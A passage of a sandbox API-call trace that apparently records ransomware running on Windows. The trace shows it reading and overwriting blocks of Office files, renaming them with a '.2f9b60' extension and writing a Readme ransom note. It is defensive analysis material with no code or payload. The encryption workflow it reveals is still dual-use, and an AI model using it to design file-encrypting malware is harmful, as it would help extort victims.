[0112.043] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0112.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0112.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0112.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e1f0f0 [0112.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0112.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0112.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0112.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0112.044] WriteFile (in: hFile=0x1560, lpBuffer=0x41e1f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesWritten=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1f0f0) returned 1 [0128.187] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x5a0000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.187] ReadFile (in: hFile=0x1560, lpBuffer=0x41e178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e178d0*, lpNumberOfBytesRead=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.198] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x5a0000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0128.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0128.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e1f0f0 [0128.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0128.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0128.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d30) returned 1 [0128.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.199] WriteFile (in: hFile=0x1560, lpBuffer=0x41e1f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesWritten=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1f0f0) returned 1 [0161.010] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0xb35400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.010] ReadFile (in: hFile=0x1560, lpBuffer=0x41e178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e178d0*, lpNumberOfBytesRead=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.702] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0xb35400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0165.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0165.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c8970 [0165.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0165.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7f0 [0165.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7f0) returned 1 [0165.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.704] WriteFile (in: hFile=0x1560, lpBuffer=0x425c8970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x425c8970*, lpNumberOfBytesWritten=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c8970) returned 1 [0187.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15220 [0187.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0187.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0187.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0187.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e178d0) returned 1 [0187.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5e9b0 [0187.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0187.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0187.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5e9f0 [0187.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0187.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14e) returned 0x133760 [0187.187] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.187] WriteFile (in: hFile=0x1560, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3458f670, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x3458f670*=0x14e, lpOverlapped=0x0) returned 1 [0201.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0201.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0201.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0201.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0201.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202aba60 [0201.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0201.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0201.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa0b0) returned 1 [0201.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0201.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0201.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82c7b0 [0201.788] sprintf (in: _Dest=0x1b82c7b0, _Format="%c%c" | out: _Dest="52") returned 2 [0201.788] sprintf (in: _Dest=0x1b82c7b2, _Format="%c%c" | out: _Dest="99") returned 2 [0201.788] sprintf (in: _Dest=0x1b82c7b4, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.788] sprintf (in: _Dest=0x1b82c7b6, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.788] sprintf (in: _Dest=0x1b82c7b8, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7ba, _Format="%c%c" | out: _Dest="3e") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7bc, _Format="%c%c" | out: _Dest="40") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7be, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7c0, _Format="%c%c" | out: _Dest="53") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7c2, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7c4, _Format="%c%c" | out: _Dest="53") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7c6, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7c8, _Format="%c%c" | out: _Dest="20") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7ca, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7cc, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7ce, _Format="%c%c" | out: _Dest="c3") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7d0, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7d2, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7d4, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7d6, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7d8, _Format="%c%c" | out: _Dest="bb") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7da, _Format="%c%c" | out: _Dest="a3") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7dc, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7de, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.789] sprintf (in: _Dest=0x1b82c7e0, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.790] sprintf (in: _Dest=0x1b82c7e2, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.790] sprintf (in: _Dest=0x1b82c7e4, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.790] sprintf (in: _Dest=0x1b82c7e6, _Format="%c%c" | out: _Dest="fc") returned 2 [0201.790] RtlInitAnsiString (in: DestinationString=0x3458f6e8, SourceString="52994cad9f3e40fb534a53c620e5a4c37e5be5e5bba36efecdabeafc" | out: DestinationString="52994cad9f3e40fb534a53c620e5a4c37e5be5e5bba36efecdabeafc") [0201.790] RtlAnsiStringToUnicodeString (in: DestinationString=0x3458f6b8, SourceString="52994cad9f3e40fb534a53c620e5a4c37e5be5e5bba36efecdabeafc", AllocateDestinationString=1 | out: DestinationString="52994cad9f3e40fb534a53c620e5a4c37e5be5e5bba36efecdabeafc") returned 0x0 [0201.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42060530 [0201.791] wcscat (in: _Dest=0x4205dcd0, _Source="52994cad9f3e40" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40" [0201.791] wcscat (in: _Dest=0x4205dcd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40.2f9b60" [0201.791] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40.2f9b60", NtPathName=0x3458f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\52994cad9f3e40.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107c00 [0224.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0224.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320d0b0) returned 1 [0224.128] NtQueryInformationFile (in: FileHandle=0x1560, IoStatusBlock=0x3458f6f8, FileInformation=0x3458f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3458f6f8, FileInformation=0x3458f708) returned 0x0 [0224.128] NtSetInformationFile (FileHandle=0x1560, IoStatusBlock=0x3458f6f8, FileInformation=0x3458f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0225.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060530) returned 1 [0225.362] FlushFileBuffers (hFile=0x1560) returned 1 [0225.551] CloseHandle (hObject=0x1560) returned 1 [0226.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20506090 [0226.002] wcscpy (in: _Dest=0x20506090, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0226.002] wcscat (in: _Dest=0x20506090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0226.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0x20 [0226.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506090) returned 1 [0226.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5460) returned 1 Thread: id = 1095 os_tid = 0x17c4 [0112.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0x20 [0112.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU", dwFileAttributes=0x20) returned 1 [0112.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa80 [0112.047] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x346afcc0 | out: lpFileSize=0x346afcc0*=3440640) returned 1 [0112.047] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x347ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.047] ReadFile (in: hFile=0xa80, lpBuffer=0x346afc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x346afc88, lpOverlapped=0x0 | out: lpBuffer=0x346afc40*, lpNumberOfBytesRead=0x346afc88*=0x4, lpOverlapped=0x0) returned 1 [0112.049] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0112.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0112.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0112.049] NtQuerySystemTime (in: CurrentTime=0x346afb80 | out: CurrentTime=0x346afb80*=132462177175066000) returned 0x0 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x3eb1c6de [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x217b8412 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x1151ba55 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x39cbd1b2 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x6507567c [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x10fe5254 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x35191633 [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x459f9f4a [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x54cbf72d [0112.049] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x4fb87b2e [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x18688954 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x66666472 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x20054121 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x14a276fc [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x271ace74 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x78217fce [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x335f60c2 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x22f3de85 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x5e605fcf [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x68e3437a [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x6010fc14 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x5fc4f29c [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x76a3a363 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x6eaebf32 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x3f8dec22 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x84bfa91 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x6ad9177f [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x46e2f8dc [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x5a0a91da [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x2500a125 [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x5b27466c [0112.050] RtlRandomEx (in: Seed=0x346afb70 | out: Seed=0x346afb70) returned 0x468ac583 [0112.059] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.059] ReadFile (in: hFile=0xa80, lpBuffer=0x41e22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e22d00*, lpNumberOfBytesRead=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.064] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0112.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0112.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0112.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e26910 [0112.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0112.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0112.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202634d0) returned 1 [0112.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0112.065] WriteFile (in: hFile=0xa80, lpBuffer=0x41e26910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e26910*, lpNumberOfBytesWritten=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e26910) returned 1 [0147.873] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x1a4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.873] ReadFile (in: hFile=0xa80, lpBuffer=0x41e22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e22d00*, lpNumberOfBytesRead=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.004] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x1a4000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6470 [0148.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6470) returned 1 [0148.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4238c1b0 [0148.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6470 [0148.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0148.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0148.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.006] WriteFile (in: hFile=0xa80, lpBuffer=0x4238c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x4238c1b0*, lpNumberOfBytesWritten=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4238c1b0) returned 1 [0171.018] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x344400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.019] ReadFile (in: hFile=0xa80, lpBuffer=0x41e22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e22d00*, lpNumberOfBytesRead=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.197] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x344400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0171.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d190) returned 1 [0171.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41db1d40 [0171.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0171.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0171.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1c0) returned 1 [0171.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.199] WriteFile (in: hFile=0xa80, lpBuffer=0x41db1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x346afbe0, lpOverlapped=0x0 | out: lpBuffer=0x41db1d40*, lpNumberOfBytesWritten=0x346afbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41db1d40) returned 1 [0194.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf590 [0194.659] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.659] WriteFile (in: hFile=0xa80, lpBuffer=0x134aa0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x346afc90, lpOverlapped=0x0 | out: lpBuffer=0x134aa0*, lpNumberOfBytesWritten=0x346afc90*=0x150, lpOverlapped=0x0) returned 1 [0201.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0201.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c50 [0201.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c50) returned 1 [0201.981] RtlAllocateHeap 